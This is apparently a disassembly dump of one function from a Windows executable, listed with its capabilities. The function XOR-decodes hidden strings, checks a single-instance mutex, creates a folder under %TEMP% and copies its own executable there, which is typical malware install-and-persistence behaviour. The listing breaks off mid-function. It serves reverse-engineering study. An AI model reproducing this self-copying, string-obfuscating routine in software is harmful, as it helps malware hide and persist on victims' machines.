Function at 0x406620
Capabilities:
Check mutex on windows
Copy file
Create directory
Create process on windows
Encode data using xor
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3d8
movups xmm0, xmmword [0x4c07e0]
push esi
mov esi, dword [0x4dcc20]
movups xmmword [ebp - 0x30], xmm0
push edi
psrldq xmm0, 0xf
mov edi, 5
movd eax, xmm0
test al, al
je 0x4067d8
xor edx, edx
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x4067b1
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0630]
xor ecx, ecx
movaps xmm3, xmmword [0x4c0660]
movaps xmm6, xmmword [str.::::]
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, edi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x30]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x2c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x2c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x4066b0
jmp 0x4067d8
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x10
jl 0x4067b1
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4067f3
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
push 7
push 0x4c0938
push 0
lea ecx, [ebp - 0x68]
call fcn.00409d00
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x50], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae eax, dword [ebp - 0x50]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406886
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40687c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c37
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x4068cc
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4068c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c37
push edx
push ecx
call fcn.004a06de
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408c3c
push 0x104
lea eax, [ebp - 0x3d8]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movups xmm0, xmmword [0x4c07f0]
movups xmmword [ebp - 0x30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x406a78
xor edx, edx
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x406a51
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0630]
xor ecx, ecx
movaps xmm3, xmmword [0x4c0660]
movaps xmm6, xmmword [str.::::]
movaps xmmword [ebp - 0x50], xmm0
mov edx, dword [ebp - 0x50]
movd xmm5, edi
movd xmm7, eax
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x30]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x30], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x2c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x2c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x406950
jmp 0x406a78
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x10
jl 0x406a51
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406a93
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00401820
lea ecx, [ebp - 0x3d8]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406ac7
sub ecx, edx
lea eax, [ebp - 0x3d8]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00401820
push 1
push 0x4c0948
lea ecx, [ebp - 0x50]
call fcn.00403190
lea ecx, [ebp - 0xdc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x90]
movq qword [ebp - 0x80], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406450
mov edx, dword [ebp - 0x7c]
cmp edx, 0x10
jb 0x406b64
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b5a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c43
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406b98
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b8e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c43
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x406bde
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406bd4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c43
push edx
push ecx
call fcn.004a06de
add esp, 8
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push 0
cmovae eax, dword [ebp - 0xdc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x104
lea eax, [ebp - 0x2d0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x4c080f], 0
movq xmm0, qword [0x4c0804]
mov eax, dword [str._G_Au_rdnSUXRIL]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x406d81
xor edx, edx
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x406d50
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c0804]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x406d50
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406da5
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
mov ax, word [0x4c0800]
mov word [ebp - 6], ax
test ah, ah
je 0x406df8
xor edx, edx
mov dword [ebp - 4], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x406dd1
lea ecx, [ebp - 6]
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x40], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406e13
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0x50]
push eax
push 0
call fcn.00409d00
lea ecx, [ebp - 0x68]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x90], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x90]
movq qword [ebp - 0x80], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406450
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push 0
cmovae eax, dword [ebp - 0x68]
push eax
lea eax, [ebp - 0x2d0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x406edb
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ed1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c48
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x406f24
mov ecx, dword [ebp - 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c48
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x3c]
cmp edx, 0x10
jb 0x406f58
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f4e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c48
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp edx, 0x10
jb 0x406fa4
mov ecx, dword [ebp - 0xa8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c48
push edx
push ecx
call fcn.004a06de
add esp, 8
cmp byte [0x4c0873], 0
movq xmm0, qword [0x4c0868]
mov eax, dword [0x4c0870]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407111
xor edx, edx
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x4070e0
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c0868]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x4070e0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407130
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00401820
mov ax, word [0x4c0864]
mov word [ebp - 6], ax
test ah, ah
je 0x407187
xor edx, edx
mov dword [ebp - 4], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 6], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 2
jl 0x407160
lea ecx, [ebp - 6]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4071b0
sub ecx, edx
lea eax, [ebp - 6]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401820
cmp dword [ebp - 0xc8], 0x10
lea eax, [ebp - 0xdc]
push dword [ebp - 0xcc]
cmovae eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0xc0]
push eax
push 0
call fcn.00409d00
lea ecx, [ebp - 0x188]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x170], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x170]
movq qword [ebp - 0x160], xmm0
push eax
push dword [ebp - 0x1c]
call fcn.00406450
mov eax, dword [0x4c085c]
xor edx, edx
mov dword [ebp - 0x1f], eax
mov ax, word [0x4c0860]
mov word [ebp - 0x1b], ax
mov al, byte [0x4c0862]
mov byte [ebp - 0x19], al
mov dword [ebp - 4], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 4]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x1f], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 7
jl 0x407254
lea ecx, [ebp - 0x1f]
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xe4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xe0], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4072a0
sub ecx, edx
lea eax, [ebp - 0x1f]
push ecx
push eax
lea ecx, [ebp - 0xf4]
call fcn.00401820
cmp byte [0x4c085b], 0
movq xmm0, qword [0x4c0850]
mov eax, dword [0x4c0858]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], eax
je 0x407426
xor edx, edx
mov dword [ebp - 4], edx
cmp esi, 2
jl 0x4073f5
movaps xmm2, xmmword [0x4c0630]
mov eax, 0x1f
movaps xmm4, xmmword [0x4c0660]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, edi
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.6666666666666666]
movaps xmm0, xmm1
psrld xmm0, xmm6
mov dword [ebp - 4], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4c07c0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x4c0850]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x24], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x20]
pxor xmm1, xmm0
movd dword [ebp - 0x20], xmm1
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x24], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xc
jl 0x4073f5
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x1b4], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407450
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00401820
mov ecx, 0xf
lea edi, [ebp - 0x149]
mov esi, 0x4c0810
xor edx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], edx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [0x4dcc20]
cmp edi, 2
jl 0x4075e3
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 5
movaps xmm4, xmmword [0x4c0630]
movaps xmm3, xmmword [0x4c0660]
movaps xmm6, xmmword [str.::::]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x149]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x149], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x145]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x145], xmm1
add edx, 8
cmp edx, 0x38
jl 0x4074d0
mov dword [ebp - 4], edx
cmp edx, 0x3f
jge 0x407617
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x149], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x3f
jl 0x4075e3
lea ecx, [ebp - 0x149]
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407640
sub ecx, edx
lea eax, [ebp - 0x149]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401820
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0xa8]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x30]
call fcn.00406450
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
call fcn.00406450
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.00406450
push 4
push str.___F
lea ecx, [ebp - 0x68]
call fcn.00403190
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x40770c
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407702
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp edx, 0x10
jb 0x407752
mov ecx, dword [ebp - 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407748
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x407786
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40777c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408c4d
push edx
push ecx
call fcn.004a06de
add esp, 8
mov edx, dword [ebp - 0x94]
cmp edx, 0x10
jb 0x4077c0
